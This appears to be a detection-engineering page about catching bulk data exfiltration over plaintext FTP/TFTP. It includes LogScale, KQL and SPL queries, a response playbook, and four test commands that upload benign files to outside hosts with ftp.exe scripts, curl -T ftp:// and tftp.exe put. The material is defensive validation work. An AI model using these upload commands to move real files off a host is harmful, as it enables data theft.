THREAT-Exfiltration-PlaintextFTPBulkUpload CrowdStrike LogScale · LogScale

Detect Bulk Data Exfiltration over Plaintext FTP/TFTP to an External Host in CrowdStrike LogScale

Adversaries who need to move collected data off a compromised host frequently fall back to plaintext FTP (TCP/21 control, TCP/20 active data) or TFTP (UDP/69) rather than the encrypted C2 channel, because both clients ship with the operating system, both are commonly allowed outbound by legacy egress rules written for vendor file drops, and neither requires the adversary to stand up TLS infrastructure. The transfer is unauthenticated to the network's eye — credentials and file contents traverse the wire in cleartext — which makes this the single highest-fidelity exfiltration pattern available to a defender who has FTP command-level or flow telemetry, since the uploaded filenames and byte volumes are directly observable. This detection focuses on the outbound-to-external direction only: a host inside the estate initiating repeated FTP/TFTP sessions to a public destination, or issuing FTP store commands (STOR/APPE/STOU) to a non-corporate server. The platform already covers encrypted alternative-protocol exfiltration over SSH/SFTP and DNS/ICMP tunnelling, but has no detection for the unencrypted non-C2 protocol case (T1048.003), which is the variant most often seen on legacy Windows and Linux servers where an old ftp.exe or tftp.exe binary is the path of least resistance.

MITRE ATT&CK

Tactic
Exfiltration

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
#event_simpleName=NetworkConnectIP4
| in(field="RemotePort", values=["20", "21", "69"])
| not cidr(RemoteAddressIP4, subnet=["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "169.254.0.0/16", "100.64.0.0/10"])
| groupBy([aid, ComputerName, RemoteAddressIP4, RemotePort], function=[count(as=ConnectionCount), min(timestamp, as=FirstSeen), max(timestamp, as=LastSeen), collect([ContextProcessId], limit=10)])
| ConnectionCount >= 5
| sort(ConnectionCount, order=desc)
high severity medium confidence

CrowdStrike LogScale query over Falcon NetworkConnectIP4 telemetry detecting repeated outbound connections to FTP data/control ports and the TFTP port where the remote address is public, using the cidr() function so private, loopback, link-local and CGNAT ranges are excluded as networks rather than as strings. Results are grouped per sensor, host and destination and alert at five or more connections; the collected ContextProcessId values let the analyst pivot to the matching ProcessRollup2 records to identify which process initiated the transfer.

Data Sources

CrowdStrike Falcon Endpoint Protection (network telemetry)CrowdStrike LogScaleFalcon NetworkConnectIP4 and ProcessRollup2 events

Required Tables

NetworkConnectIP4ProcessRollup2

False Positives & Tuning

  • Servers running scheduled partner file transfers over plaintext FTP to a fixed external endpoint
  • Network engineering endpoints using TFTP against externally hosted lab or vendor equipment
  • Developer or build machines synchronising from public anonymous FTP mirrors

Other platforms for THREAT-Exfiltration-PlaintextFTPBulkUpload


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Windows Native ftp.exe Scripted Upload to External Host

    Expected signal: DeviceProcessEvents record for ftp.exe with a -s:<scriptfile> command line, followed by DeviceNetworkEvents ConnectionSuccess records to the resolved external IP on RemotePort 21.

  2. Test 2Linux curl Upload over ftp:// to External Host

    Expected signal: auditd EXECVE / MDE for Linux DeviceProcessEvents record for curl with '-T' and an ftp:// URL. Zeek ftp.log records a STOR command with the uploaded filename in 'arg' and a non-zero file_size to an external dest_ip.

  3. Test 3Repeated Chunked FTP STOR Commands to Trigger Volume Threshold

    Expected signal: Six Zeek ftp.log STOR records to the same external dest_ip within a short window, each with a distinct 'arg' filename; six corresponding curl process-execution records.

  4. Test 4Windows tftp.exe Outbound Transfer Attempt

    Expected signal: DeviceProcessEvents record for tftp.exe with a 'put' argument and an external IPv4 destination; DeviceNetworkEvents ConnectionRequest record on RemotePort 69 (UDP) if the client is installed and egress is attempted.


Response Playbook

Triage

  1. Identify the destination: resolve the external IP to a hostname and owner (WHOIS/ASN). A partner or vendor netblock with a long history in the flow data is a very different finding from a VPS, bulletproof-hosting or residential-proxy range first seen today.
  2. Read the uploaded path names straight out of the Zeek ftp.log 'arg' field (or the KQL command line) — FTP is cleartext, so the actual filenames are available. Archive extensions (.7z, .zip, .tar.gz, .rar), database dumps, or paths under user profile/share directories confirm data staging rather than an application file transfer.
  3. Quantify the volume: sum file_size in ftp.log and orig_bytes in the matching conn.log uid for the session. Compare against the host's normal outbound baseline — a file server that has never sent more than a few MB outbound suddenly sending gigabytes is the escalation trigger.
  4. Determine who initiated it: correlate the source host and time window against DeviceProcessEvents/auditd to find the process and account that launched the FTP client, and whether it was interactive (an admin at a console) or spawned by a service, web server, or scheduled job — a w3wp.exe or php-fpm parent points at a web shell.
  5. Check the FTP credentials observed in ftp.log 'user': 'anonymous' against an unknown host is strongly suspicious; a corporate service account being used against a non-corporate host means the credential itself is now compromised and in the adversary's possession in cleartext.
  6. Look for the collection step immediately preceding the transfer — archive creation (tar/zip/7z/rar), a large staged file in %TEMP%, /tmp or /var/tmp, or a bulk read of a file share — to establish what data set was assembled before it left.

Containment

  1. Block the destination IP and, where the business permits, plaintext FTP/TFTP egress generally (TCP/20, TCP/21, UDP/69) at the perimeter firewall — deny outbound by default and allowlist the small set of legitimate partner endpoints identified during triage.
  2. Treat every credential seen in the cleartext FTP session as compromised and rotate it, along with any credential stored in a file that was uploaded.
  3. Isolate or restrict the source host if transfer is still in progress; if the host is business-critical, apply a targeted egress block for the destination first and isolate only once continued exfiltration is confirmed.
  4. Preserve the staged archive files before removing them — they are the best available evidence of exactly what data was taken, which drives the regulatory notification scope.
  5. If the initiating process was a web-facing service, take the application offline or restore it from a known-good build, since the FTP transfer is a symptom of an underlying web shell or code-execution flaw that will otherwise persist.

Evidence Collection

  1. Zeek ftp.log entries for the session (uid, user, password, command, arg, file_size, reply_code) and the corresponding conn.log records for orig_bytes/resp_bytes and duration
  2. Full packet capture for the session if the sensor retains it — plaintext FTP means the transferred content itself may be recoverable, giving an exact rather than inferred scope
  3. Process telemetry for the FTP/TFTP client execution: MDE DeviceProcessEvents or Linux auditd EXECVE, including full command line, parent process and account
  4. The staged archive or source files referenced in the upload paths, with hashes and MAC timestamps
  5. Perimeter firewall/proxy logs for the destination IP over the preceding 30 days, to determine whether this destination was contacted before the alerting window
  6. Shell history, web-server access logs, or scheduled-job definitions for the initiating account, to establish how the transfer was launched

Escalation Criteria

  • !Cumulative uploaded volume to an external, non-partner destination exceeds the incident-response threshold for suspected data loss (commonly tens of megabytes of archived content)
  • !Uploaded path names indicate regulated or high-value data — customer records, database dumps, credential stores, source code, or key material
  • !The FTP session used a corporate service account or domain credential against a non-corporate destination, meaning that credential has now been transmitted in cleartext to an adversary-controlled host
  • !The initiating process is a web server, database, or other service account rather than an interactive administrator, indicating remote code execution on the host
  • !The same external destination is contacted by more than one internal host, indicating a coordinated collection campaign rather than a single compromised system

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Zeek ftp.log — the authoritative record of FTP commands, arguments, credentials and per-file sizes, since the protocol is unencrypted
  • >%TEMP%, /tmp and /var/tmp staged archives referenced in the STOR arguments, with creation timestamps bracketing the transfer
  • >Windows: ftp.exe command history via the -s:<scriptfile> argument — the referenced script file often persists on disk and contains the destination, credentials and the full file list
  • >Linux: ~/.netrc and ~/.lftp/ configuration files, which store FTP hosts and credentials in cleartext and are frequently created by scripted transfers
  • >Perimeter firewall and NetFlow records for TCP/20, TCP/21 and UDP/69 to the destination, establishing the full timeline and total byte volume
  • >Prefetch/Amcache (Windows) or auditd EXECVE (Linux) entries evidencing execution of ftp.exe, tftp.exe, lftp or ncftpput

Tuning Guidance

This rule is unusually tunable because legitimate plaintext FTP in a modern estate is a small, enumerable set. Start by running the 30-day hunting query and turning its top results into a destination allowlist keyed on (source host, destination IP) pairs — not on port and not on destination alone, since an adversary who compromises the server that legitimately talks to a partner endpoint will otherwise inherit the suppression. TFTP (UDP/69) deserves its own handling: in estates with network-device config archival it is high-volume and benign to a small number of collectors, so allowlist those collectors explicitly and treat any other external UDP/69 destination as high severity, since there is no ordinary business reason for an endpoint to TFTP to the internet. The five-session and 50 MB thresholds are starting points sized for a mid-size estate; if outbound FTP is already denied at the perimeter, drop the connection threshold to 1 and reclassify the rule as a policy-violation monitor, because a blocked attempt is still evidence of adversary intent and the source host still warrants investigation. Finally, keep Signal 2 (client execution) tuned separately from Signal 1 (network sessions) — Signal 2 fires on intent even when the connection fails, and its false-positive profile is driven by administrator activity rather than by scheduled business transfers.


Hunting Queries

Thirty-day inventory of every external FTP/TFTP destination the estate talks to, ranked by session count. Run this first to build the allowlist of legitimate partner endpoints — the long tail of one-off destinations at the bottom of the list is where opportunistic exfiltration hides, and any destination contacted by exactly one host for a short window deserves a look.

Hunting — KQL
kql
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemotePort in (20, 21, 69)
| where RemoteIP matches regex @"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$"
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
    and not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
    and not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
    and not(ipv4_is_in_range(RemoteIP, "100.64.0.0/10"))
| summarize Sessions = count(), Hosts = dcount(DeviceName), FirstSeen = min(Timestamp), LastSeen = max(Timestamp),
    Clients = make_set(InitiatingProcessFileName, 10)
    by RemoteIP, RemotePort
| sort by Sessions desc
Hunting — SPL
spl
index=zeek sourcetype="zeek:ftp:json" earliest=-30d
| where NOT (cidrmatch("10.0.0.0/8", dest_ip) OR cidrmatch("172.16.0.0/12", dest_ip) OR cidrmatch("192.168.0.0/16", dest_ip) OR cidrmatch("100.64.0.0/10", dest_ip))
| stats count as Sessions, dc(src_ip) as SourceHosts, values(command) as Commands, values(user) as Users by dest_ip, dest_port
| sort - Sessions

Atomic Red Team Tests

Test 1 Windows Native ftp.exe Scripted Upload to External Host
windows

Uses the built-in Windows ftp.exe client with a script file to log in to a public anonymous FTP test server and upload a small benign file, exercising both the client-execution and the external-session signals. No sensitive data is transferred.

Command

powershell
echo df00tech atomic test > %TEMP%\df00tech-ftp-test.txt & (echo open test.rebex.net& echo demo& echo password& echo put %TEMP%\df00tech-ftp-test.txt& echo bye) > %TEMP%\df00tech-ftp.txt & ftp.exe -n -s:%TEMP%\df00tech-ftp.txt

Cleanup

powershell
del /q %TEMP%\df00tech-ftp-test.txt %TEMP%\df00tech-ftp.txt

Expected Telemetry

DeviceProcessEvents record for ftp.exe with a -s:<scriptfile> command line, followed by DeviceNetworkEvents ConnectionSuccess records to the resolved external IP on RemotePort 21.

Expected Detection

KQL Signal 2 'FtpClientUploadCommand' fires on the ftp.exe execution. KQL Signal 1 'ExternalPlaintextFtpSession' fires once the session count for the destination reaches the threshold (repeat the test or lower the threshold to 1 when validating in a lab).

Test 2 Linux curl Upload over ftp:// to External Host
linux

Uses curl with an ftp:// URL to upload a benign generated file to a public FTP test endpoint, simulating the scripted-transfer variant most often seen on compromised Linux web servers.

Command

bash
dd if=/dev/urandom of=/tmp/df00tech-ftp-test.bin bs=1K count=64 2>/dev/null; curl -T /tmp/df00tech-ftp-test.bin ftp://demo:[email protected]/

Cleanup

bash
rm -f /tmp/df00tech-ftp-test.bin

Expected Telemetry

auditd EXECVE / MDE for Linux DeviceProcessEvents record for curl with '-T' and an ftp:// URL. Zeek ftp.log records a STOR command with the uploaded filename in 'arg' and a non-zero file_size to an external dest_ip.

Expected Detection

SPL 'ExternalPlaintextFtpUpload' fires on the Zeek STOR record once the threshold is met; KQL Signal 2 fires on the curl command line containing 'ftp://' and '-T '.

Test 3 Repeated Chunked FTP STOR Commands to Trigger Volume Threshold
linux

Generates several small files and uploads them in a single FTP session, reproducing the chunked transfer pattern used to stay under volume-based egress monitoring and exercising the five-upload-command threshold in the SPL/Zeek rule.

Command

bash
for i in 1 2 3 4 5 6; do dd if=/dev/urandom of=/tmp/df00tech-chunk-$i.bin bs=1K count=32 2>/dev/null; curl -T /tmp/df00tech-chunk-$i.bin ftp://demo:[email protected]/; done

Cleanup

bash
rm -f /tmp/df00tech-chunk-*.bin

Expected Telemetry

Six Zeek ftp.log STOR records to the same external dest_ip within a short window, each with a distinct 'arg' filename; six corresponding curl process-execution records.

Expected Detection

SPL 'ExternalPlaintextFtpUpload' fires because UploadCommands reaches 6 against a single external destination; Chronicle, CrowdStrike and QRadar variants fire on the repeated external port-21 sessions from the same source.

Test 4 Windows tftp.exe Outbound Transfer Attempt
windows

Invokes the optional Windows TFTP client against an external host on UDP/69. The transfer itself is expected to fail in most environments; the value of the test is that the client execution and the outbound UDP/69 attempt are still generated.

Command

powershell
echo df00tech atomic test > %TEMP%\df00tech-tftp-test.txt & tftp.exe -i 203.0.113.10 put %TEMP%\df00tech-tftp-test.txt

Cleanup

powershell
del /q %TEMP%\df00tech-tftp-test.txt

Expected Telemetry

DeviceProcessEvents record for tftp.exe with a 'put' argument and an external IPv4 destination; DeviceNetworkEvents ConnectionRequest record on RemotePort 69 (UDP) if the client is installed and egress is attempted.

Expected Detection

KQL Signal 2 'FtpClientUploadCommand' fires on the tftp.exe 'put' command line regardless of whether the transfer completes.

Related Detections